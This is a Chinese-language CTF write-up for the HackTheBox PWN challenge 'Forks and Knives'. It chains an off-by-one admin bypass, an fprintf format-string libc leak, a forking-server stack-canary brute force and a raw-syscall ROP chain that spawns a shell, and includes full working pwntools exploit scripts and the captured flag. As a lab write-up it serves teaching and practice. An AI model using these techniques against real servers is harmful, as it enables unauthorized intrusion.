Forks and Knives — HackTheBox PWN 挑戰 Writeup
概述
- 題目:Forks and Knives(PWN,Medium,HackTheBox)
- 二進位檔:ELF 64-bit LSB PIE executable,x86-64,dynamically linked
- 保護機制:Full RELRO、Stack Canary、NX enabled、PIE enabled
- Libc:Ubuntu GLIBC 2.35(Ubuntu 22.04)
- 伺服器架構:Forking TCP 伺服器,每個客戶端連線分配一個 fork 子進程處理
- 描述:一個餐廳訂位/點餐系統,存在格式化字串(format string)與緩衝區溢位(buffer overflow)漏洞
- Flag:
HTB{1378a4e70c161a576cf332b388d4cdc8}
環境設置
挑戰提供的檔案解壓後結構如下:
pwn_forks_and_knives/
├── Dockerfile # Ubuntu 22.04 容器,以 ctf 使用者運行 ./server
├── build-docker.sh # Docker 建構腳本
└── challenge/
├── server # ELF 64-bit 主程式
└── libc.so.6 # 配套 libc(GLIBC 2.35)
從 Dockerfile 可知:
- 容器基於
ubuntu:22.04 - 伺服器以
ctf使用者權限運行 - Flag 位於
/home/ctf/flag*.txt - 伺服器監聽 1337 端口
偵察分析
二進位保護檢查
$ checksec pwn_forks_and_knives/challenge/server
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
所有主要保護機制均已啟用:
- Full RELRO:GOT 表唯讀,無法覆寫 GOT 項目
- Stack Canary:堆疊金絲雀保護,防止直接緩衝區溢位
- NX:堆疊不可執行,無法注入 shellcode
- PIE:位址空間隨機化,程式基址在每次執行時不同
伺服器行為分析
伺服器是一個 forking TCP 伺服器:
- 父進程呼叫
socket()建立監聽 socket(fd=3) - 父進程呼叫
accept()等待客戶端連線(客戶端 fd=4) - 每個連線
fork()一個子進程處理 - 子進程關閉監聽 socket(fd=3),保留客戶端 socket(fd=4)
關鍵特性:由於 fork() 產生的子進程是父進程的完整複製,所有子進程共享相同的:
- ASLR 隨機化基址(libc base、stack base 等)
- Stack Canary 值
- PIE 基址
這意味著我們可以跨多個連線逐步洩漏資訊,而不必擔心位址變化。
選單功能
連線後首先要求輸入名稱(16 位元組緩衝區),然後顯示選單:
+--- 餐廳系統 ---+
| 1) Reserve a table (預約桌位)
| 2) Place an order (點餐)
| 3) Exit (離開)
| 4) Admin login (管理員登入 — 未實作)
| 5) View reservations (查看預約 — 需管理員)
| 6) Clear reservations (清除預約 — 需管理員)
+--- ---+
=>
- 選項 1(預約桌位):讀取 4 位元組的「人數」,使用
snprintf格式化後以fprintf寫入檔案 - 選項 2(點餐):讀取最多 0x100 位元組的訂單,可選擇追加更多
- 選項 3(離開):結束連線
- 選項 4(管理員登入):功能未實作,直接返回
- 選項 5(查看預約):需要管理員權限,讀取並顯示預約檔案內容
- 選項 6(清除預約):需要管理員權限,清空預約檔案
漏洞分析
本題需要串聯三個漏洞來完成利用。
漏洞一:管理員權限繞過(Off-by-one 空位元組溢位)
記憶體佈局(BSS 段):
地址 0x4030: name_buf[16] ← 名稱緩衝區(16 位元組)
地址 0x4040: not_manager ← 管理員旗標(初始值 = 1,表示非管理員)
漏洞成因:
read(fd, name_buf, 16)讀取最多 16 位元組到name_buf- 讀取後在
bytes_read位置寫入空終止符(\0) - 若發送恰好 16 位元組:
read()返回 16,空終止符寫入name_buf[16] name_buf[16]的地址 =0x4030 + 16 = 0x4040=not_manager變數的地址not_manager從 1(0x01)被覆蓋為 0(\0)not_manager == 0→ 程式判定為管理員 → 解鎖選項 5 和 6
觸發方式:
io.recvuntil(b'=> ')
io.send(b'A' * 16) # 恰好 16 位元組,空終止符溢出到 not_manager
漏洞二:格式化字串漏洞(fprintf 資訊洩漏)
漏洞路徑:選項 1(預約桌位)
程式碼流程:
- 讀取 4 位元組使用者輸入作為「人數」
snprintf(buf, size, "Table for %s", user_input)→ 產生格式化字串fprintf(file, buf)→ 將結果寫入預約檔案
問題:fprintf 的第二個參數是使用者可控的格式化字串。如果使用者輸入 %2$p,snprintf 會產生 "Table for %2$p",然後 fprintf(file, "Table for %2$p") 會將 rcx 暫存器(第二個參數位置)的值以十六進位形式寫入檔案。
為什麼是 %2$p:
- 受限於 4 位元組輸入(
%2$p恰好 4 位元組) %2$p對應rcx暫存器- 在
fprintf被呼叫時,rcx保存了先前lseek64syscall 的返回值 - 該返回值是一個 libc 內部地址,偏移量為
0x11491b(相對於 libc 基址)
注意:最初推測偏移量為
0x8c91b(基於_IO_file_attach內部地址),但實際透過syscall; ret指令模式比對確認,洩漏值來自lseek64的 syscall 返回路徑。最終使用的正確偏移量為0x11491b。
洩漏資料的讀取:使用選項 5(查看預約)讀回寫入檔案的洩漏值。這就是為什麼我們需要先完成管理員權限繞過。
觸發方式:
# 先清除舊預約(避免干擾)
io.recvuntil(b'=> '); io.send(b'6') # 清除預約(需管理員)
io.recvuntil(b'+---', timeout=3)
# 以格式化字串預約
io.recvuntil(b'=> '); io.send(b'1') # 選擇預約
io.recvuntil(b'=> '); io.send(b'%2$p') # 格式化字串 payload
# 讀回洩漏資料
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'5') # 查看預約
data = io.recvuntil(b'+---', timeout=3)
# 解析洩漏的 libc 地址
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc_base = libc_leak - 0x11491b
漏洞三:緩衝區溢位(點餐功能)
漏洞路徑:選項 2(點餐)
堆疊配置:
[rbp-0x110] order_buf[256] ← 點餐緩衝區(0x100 = 256 位元組)
[rbp-0x10] ??? ← 8 位元組間隔
[rbp-0x08] canary ← Stack Canary(8 位元組)
[rbp+0x00] saved_rbp ← 保存的 RBP(8 位元組)
[rbp+0x08] return_addr ← 返回地址(8 位元組)
[rbp+0x10] ... ← ROP 鏈接續空間
程式碼流程:
// 第一次讀取
ssize_t n = read(fd, buf, 0x100); // 讀取最多 256 位元組到 buf
// 詢問是否追加
// 若使用者回答 "y":
// 第二次讀取
read(fd, buf + n, 0x100); // 從 buf + n 開始,再讀取 0x100 位元組
溢位原理:
- 第一次讀取:
read(fd, buf, 0x100)→ 若恰好讀入 0x100 位元組,n = 0x100 - 第二次讀取:
read(fd, buf + 0x100, 0x100)→ 寫入位置從[rbp-0x110+0x100] = [rbp-0x10]開始 - 第二次讀取的 0x100 位元組可以覆蓋:
[rbp-0x10]:8 位元組間隔[rbp-0x08]:Stack Canary(8 位元組)[rbp+0x00]:saved RBP(8 位元組)[rbp+0x08]:返回地址(8 位元組)[rbp+0x10]起:ROP 鏈(剩餘空間)
利用策略
步驟一:洩漏 libc 基址
from pwn import *
context.arch = 'amd64'
HOST = '<target_ip>'
PORT = <target_port>
LIBC = './pwn_forks_and_knives/challenge/libc.so.6'
libc = ELF(LIBC)
LIBC_LEAK_OFFSET = 0x11491b # %2$p 洩漏值相對於 libc 基址的偏移量
io = remote(HOST, PORT, timeout=5)
# 管理員繞過:發送恰好 16 位元組
io.recvuntil(b'=> '); io.send(b'A' * 16)
# 清除舊預約
io.recvuntil(b'=> '); io.send(b'6')
io.recvuntil(b'+---', timeout=3)
# 以格式化字串預約
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'%2$p')
io.recvuntil(b'reserved', timeout=3)
# 讀回洩漏資料
io.recvuntil(b'=> '); io.send(b'5')
data = io.recvuntil(b'+---', timeout=3)
io.close()
# 解析 libc 地址
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc.address = libc_leak - LIBC_LEAK_OFFSET
assert libc.address & 0xfff == 0, f"Libc base 未對齊: {libc.address:#x}"
print(f"[+] Libc base: {libc.address:#x}")
步驟二:暴力破解 Stack Canary
由於伺服器使用 fork(),所有子進程共享相同的 Stack Canary 值。這使得我們可以逐位元組暴力破解 canary。
原理:
- Linux x86-64 上,Stack Canary 的最低位元組(第一個位元組)永遠是
0x00(空位元組),用於防止字串函數洩漏 - 對於剩餘的 7 個位元組(位元組 2-8),我們逐一猜測:
- 發送溢位 payload,包含已知的正確位元組 + 一個猜測位元組
- 若猜測正確 → 子進程存活,返回選單提示符
=> - 若猜測錯誤 →
__stack_chk_fail觸發,子進程崩潰終止,連線中斷
時間複雜度:
- 每個位元組最多 256 次嘗試,平均約 128 次
- 7 個位元組 × 平均 128 次 = 約 896 次連線
- 每次嘗試約 1-2 秒
- 總計約 15-30 分鐘
import time
canary = b'\x00' # 第一個位元組永遠是 0x00
start = time.time()
for byte_pos in range(1, 8):
found = False
for guess in range(256):
# 建立新連線(每次嘗試用一個新的 fork 子進程)
for retry in range(3):
try:
io = remote(HOST, PORT, timeout=5)
break
except:
sleep(5) # 等待伺服器恢復
try:
# 管理員繞過 + 進入點餐流程
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100) # 第一次讀取填滿 256 位元組
io.recvuntil(b'=> '); io.send(b'y') # 確認追加
io.recvuntil(b'=> ')
# 第二次讀取:溢位 payload
# 佈局:8 位元組間隔 + 已知 canary 位元組 + 猜測位元組
payload = b'B' * 8 + canary + bytes([guess])
io.send(payload)
# 檢測:等待 "placed" 訊息後,嘗試接收選單提示符
io.recvuntil(b'placed', timeout=3)
try:
data = io.recvuntil(b'=> ', timeout=1.5)
if b'=> ' in data:
# 子進程存活 → canary 位元組正確!
canary += bytes([guess])
elapsed = time.time() - start
print(f"[+] Byte {byte_pos}/7: {guess:#04x} "
f"[{elapsed:.0f}s] canary={canary.hex()}")
found = True
io.close()
break
except:
pass
io.close()
except:
try: io.close()
except: pass
sleep(0.1) # 節流,避免過載伺服器
if not found:
print(f"[-] 第 {byte_pos} 位元組暴力破解失敗!伺服器可能已重啟。")
sys.exit(1)
canary_val = u64(canary)
print(f"[+] 完整 Canary: {canary_val:#018x}")
驗證 Canary:
io = remote(HOST, PORT, timeout=5)
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
# 發送完整 canary + 額外 8 位元組測試
io.send(b'B' * 8 + canary + b'C' * 8)
io.recvuntil(b'placed', timeout=3)
try:
data = io.recvuntil(b'=> ', timeout=2.0)
if b'=> ' in data:
print("[+] Canary 驗證成功!")
except:
print("[-] Canary 驗證失敗(子進程崩潰)")
io.close()
步驟三:透過原始 syscall 建構 ROP 鏈
由於 Full RELRO 保護導致 GOT 表不可寫,且 libc 函數(如 dup2、execve)的入口可能包含 CET endbr64 指令造成問題,因此我們使用 libc 中的原始 syscall gadget 來構建 ROP 鏈。
ROP 策略:
1. dup2(4, 0) ← 將客戶端 socket (fd=4) 重定向到 stdin
2. dup2(4, 1) ← 將客戶端 socket (fd=4) 重定向到 stdout
3. execve("/bin/sh", NULL, NULL) ← 啟動 shell
注意:省略了
dup2(4, 2)以節省 payload 空間,因為 stderr 對互動式 shell 並非必要。第二次讀取限制為 0x100 位元組,ROP 鏈必須在此限制內。
使用的 Gadgets(相對於 libc 基址的偏移量):
| Gadget | 偏移量 | 用途 |
|---|---|---|
pop rdi; ret |
0x2a3e5 |
設置第一個參數(rdi) |
pop rsi; ret |
0x2be51 |
設置第二個參數(rsi) |
pop rdx; pop r12; ret |
0x11f2e7 |
設置第三個參數(rdx) |
pop rax; ret |
0x45eb0 |
設置 syscall 編號(rax) |
syscall; ret |
0x91316 |
執行系統呼叫 |
"/bin/sh" 字串 |
0x1d8678 |
execve 的路徑參數 |
完整 ROP 鏈建構:
# libc gadget 偏移量
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_R12 = 0x11f2e7
POP_RAX = 0x45eb0
SYSCALL_RET = 0x91316
BINSH = 0x1d8678
CLIENT_FD = 4 # fork 子進程中客戶端 socket 的 fd
rop = b''
# dup2(4, 0) → SYS_dup2 = 33
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD) # rdi = 4
rop += p64(libc.address + POP_RSI) + p64(0) # rsi = 0 (stdin)
rop += p64(libc.address + POP_RAX) + p64(33) # rax = 33 (SYS_dup2)
rop += p64(libc.address + SYSCALL_RET) # syscall
# dup2(4, 1) → SYS_dup2 = 33
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD) # rdi = 4
rop += p64(libc.address + POP_RSI) + p64(1) # rsi = 1 (stdout)
rop += p64(libc.address + POP_RAX) + p64(33) # rax = 33 (SYS_dup2)
rop += p64(libc.address + SYSCALL_RET) # syscall
# execve("/bin/sh", NULL, NULL) → SYS_execve = 59
rop += p64(libc.address + POP_RDI) + p64(libc.address + BINSH) # rdi = "/bin/sh"
rop += p64(libc.address + POP_RSI) + p64(0) # rsi = NULL
rop += p64(libc.address + POP_RDX_R12) + p64(0) + p64(0) # rdx = NULL, r12 = 0
rop += p64(libc.address + POP_RAX) + p64(59) # rax = 59 (SYS_execve)
rop += p64(libc.address + SYSCALL_RET) # syscall
步驟四:發送溢位 Payload 取得 Shell
io = remote(HOST, PORT, timeout=5)
# 管理員繞過
io.recvuntil(b'=> '); io.send(b'A' * 16)
# 預約(非必要,但保持一致的流程)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
# 進入點餐流程
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> ')
# 第一次讀取:填滿 256 位元組
io.send(b'A' * 0x100)
# 確認追加
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
# 第二次讀取:溢位 payload
# 佈局:間隔(8) + canary(8) + saved_rbp(8) + ROP 鏈
payload = b'X' * 8 + canary + b'Y' * 8 + rop
assert len(payload) <= 0x100, f"Payload 過長: {len(payload)} 位元組"
io.send(payload)
# 等待 ROP 鏈執行
sleep(0.5)
# 測試 shell
io.sendline(b'echo SHELL_OK')
resp = io.recv(timeout=2)
if b'SHELL_OK' in resp:
print("[+] 成功取得 Shell!")
io.interactive()
步驟五:取得 Flag
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag*
HTB{1378a4e70c161a576cf332b388d4cdc8}
完整利用腳本
最終使用的利用腳本 exploit_v3.py 整合了上述所有步驟:
#!/usr/bin/env python3
"""
Forks and Knives — 完整利用腳本
1. 管理員權限繞過(off-by-one 空位元組溢位)
2. 格式化字串洩漏 libc 基址
3. 暴力破解 Stack Canary(forking 伺服器特性)
4. 緩衝區溢位 + 原始 syscall ROP 鏈:dup2 + execve("/bin/sh")
"""
import sys, time
sys.stdout.reconfigure(line_buffering=True)
from pwn import *
context.arch = 'amd64'
context.log_level = 'error'
HOST = '<target_ip>'
PORT = <target_port>
LIBC = './pwn_forks_and_knives/challenge/libc.so.6'
libc = ELF(LIBC)
LIBC_LEAK_OFFSET = 0x11491b
POP_RDI = 0x2a3e5
POP_RSI = 0x2be51
POP_RDX_R12 = 0x11f2e7
POP_RAX = 0x45eb0
SYSCALL_RET = 0x91316
BINSH = 0x1d8678
def conn():
return remote(HOST, PORT, timeout=5)
def setup_and_overflow(io, canary_bytes):
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
io.send(b'B' * 8 + canary_bytes)
io.recvuntil(b'placed', timeout=3)
# ===== 步驟一:洩漏 libc =====
print("[*] 正在洩漏 libc 位址...")
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'6')
io.recvuntil(b'+---', timeout=3)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'%2$p')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'5')
data = io.recvuntil(b'+---', timeout=3)
io.close()
idx = data.find(b'0x')
end = idx
while end < len(data) and data[end:end+1] not in (b'\n', b'\x00', b'+'):
end += 1
libc_leak = int(data[idx:end].decode().strip(), 16)
libc.address = libc_leak - LIBC_LEAK_OFFSET
print(f"[+] Libc base: {libc.address:#x}")
# ===== 步驟二:暴力破解 canary =====
print("[*] 正在暴力破解 Stack Canary...")
start = time.time()
canary = b'\x00'
for byte_pos in range(1, 8):
found = False
for guess in range(256):
for retry in range(3):
try:
io = conn()
break
except:
sleep(5)
else:
print(f"[-] 無法連線"); sys.exit(1)
try:
setup_and_overflow(io, canary + bytes([guess]))
try:
data = io.recvuntil(b'=> ', timeout=1.5)
if b'=> ' in data:
canary += bytes([guess])
elapsed = time.time() - start
print(f"[+] Byte {byte_pos}/7: {guess:#04x} "
f"[{elapsed:.0f}s] canary={canary.hex()}")
found = True
io.close()
break
except:
pass
io.close()
except:
try: io.close()
except: pass
sleep(0.1)
if not found:
print(f"[-] 第 {byte_pos} 位元組失敗!"); sys.exit(1)
print(f"[+] Canary: {u64(canary):#018x} ({time.time()-start:.0f} 秒)")
# ===== 步驟三:ROP 利用 =====
print("[*] 正在建構 ROP 鏈...")
CLIENT_FD = 4
rop = b''
for target_fd in [0, 1]: # dup2(4, 0) 和 dup2(4, 1)
rop += p64(libc.address + POP_RDI) + p64(CLIENT_FD)
rop += p64(libc.address + POP_RSI) + p64(target_fd)
rop += p64(libc.address + POP_RAX) + p64(33)
rop += p64(libc.address + SYSCALL_RET)
# execve("/bin/sh", NULL, NULL)
rop += p64(libc.address + POP_RDI) + p64(libc.address + BINSH)
rop += p64(libc.address + POP_RSI) + p64(0)
rop += p64(libc.address + POP_RDX_R12) + p64(0) + p64(0)
rop += p64(libc.address + POP_RAX) + p64(59)
rop += p64(libc.address + SYSCALL_RET)
io = conn()
io.recvuntil(b'=> '); io.send(b'A' * 16)
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'=> '); io.send(b'1')
io.recvuntil(b'reserved', timeout=3)
io.recvuntil(b'=> '); io.send(b'2')
io.recvuntil(b'=> '); io.send(b'A' * 0x100)
io.recvuntil(b'=> '); io.send(b'y')
io.recvuntil(b'=> ')
payload = b'X' * 8 + canary + b'Y' * 8 + rop
io.send(payload)
sleep(0.5)
context.log_level = 'info'
io.sendline(b'id')
print(io.recvline(timeout=2).decode().strip())
io.sendline(b'cat /home/ctf/flag*')
print(f"[+] FLAG: {io.recvline(timeout=2).decode().strip()}")
io.interactive()
關鍵技術與學習心得
1. Off-by-one 空位元組溢位
經典的 BSS 段相鄰變數覆蓋。當 read() 返回值恰好等於緩衝區大小時,空終止符(\0)會溢出到下一個變數。此漏洞雖然微小,卻足以將 not_manager 旗標從 1 改為 0,從而繞過權限檢查。
教訓:永遠不要假設空終止符寫入是安全的。BSS 段中的變數佈局應該仔細審查,尤其是緩衝區與控制旗標相鄰的情況。
2. 透過 fprintf 的格式化字串攻擊
即使格式化字串的結果是寫入檔案而非直接輸出到使用者,只要檔案內容可以被讀回,資訊洩漏仍然成立。本題中,fprintf(file, user_controlled_string) 將洩漏值寫入預約檔案,再透過「查看預約」功能讀回。
教訓:格式化字串漏洞不僅限於 printf 到標準輸出。任何使用使用者可控格式化字串的函數(fprintf、sprintf、snprintf 等)都可能被利用。
3. Forking 伺服器的 Canary 暴力破解
fork() 系統呼叫產生的子進程是父進程的完整複製,包括:
- 記憶體佈局(堆疊、堆積、BSS 等)
- ASLR 隨機化的基址
- Stack Canary 值
- 所有打開的檔案描述符
這意味著每次連線(每個 fork 子進程)都有相同的 canary,使得逐位元組暴力破解成為可能。只需 7 × 256 = 1792 次嘗試(最壞情況),而非 2^56 次。
教訓:Forking 伺服器是 canary 暴力破解的經典目標。只有在伺服器主進程重啟(execve 重新載入)時,canary 才會改變。
4. Libc 偏移量識別
%2$p 洩漏的值來自 rcx 暫存器。在 fprintf 呼叫時,rcx 保存了先前 lseek64 syscall 的返回值。確定正確的偏移量需要:
- 使用 GDB 附加到子進程,在
fprintf處中斷 - 檢查
rcx的值並對照 libc 中的地址 - 透過
syscall; ret指令模式比對確認,而非僅依賴符號表
教訓:格式化字串洩漏的暫存器值可能來自意想不到的 syscall 返回值。驗證偏移量時應考慮完整的呼叫路徑,而非僅看最近的函數呼叫。
5. 原始 syscall ROP 鏈
當 libc 函數的包裝器因 CET(Control-flow Enforcement Technology)的 endbr64 指令或其他原因而無法直接透過 ROP 呼叫時,使用原始 syscall gadget 更加可靠:
pop rax; ret → 設置 syscall 編號
pop rdi; ret → 設置第一個參數
pop rsi; ret → 設置第二個參數
pop rdx; ...; ret → 設置第三個參數
syscall; ret → 執行系統呼叫
這種方式繞過了所有 libc 函數前導碼的問題,直接與核心互動。
教訓:在現代 libc 中,原始 syscall gadget 往往比直接呼叫 libc 函數更可靠。ROPgadget 或 ropper 等工具可以在 libc 中找到這些 gadget。
6. Payload 大小限制
第二次 read() 的大小限制為 0x100(256 位元組)。ROP 鏈的佈局為:
間隔: 8 位元組
Canary: 8 位元組
saved RBP: 8 位元組
ROP 鏈: 剩餘空間(最多 232 位元組)
每個 syscall 呼叫需要約 4-5 個 gadget(32-40 位元組),因此需要精心安排 ROP 鏈的大小。本利用中省略了 dup2(4, 2)(stderr 重定向),因為對於取得互動式 shell 並非必要,從而節省了空間。
教訓:在空間受限的 ROP 利用中,應優先考慮必要的系統呼叫,並利用原始 syscall 來減少每個操作的 gadget 數量。